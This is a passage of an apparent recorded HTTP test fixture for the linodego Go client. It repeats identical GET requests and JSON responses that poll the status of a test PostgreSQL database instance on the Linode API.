OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, 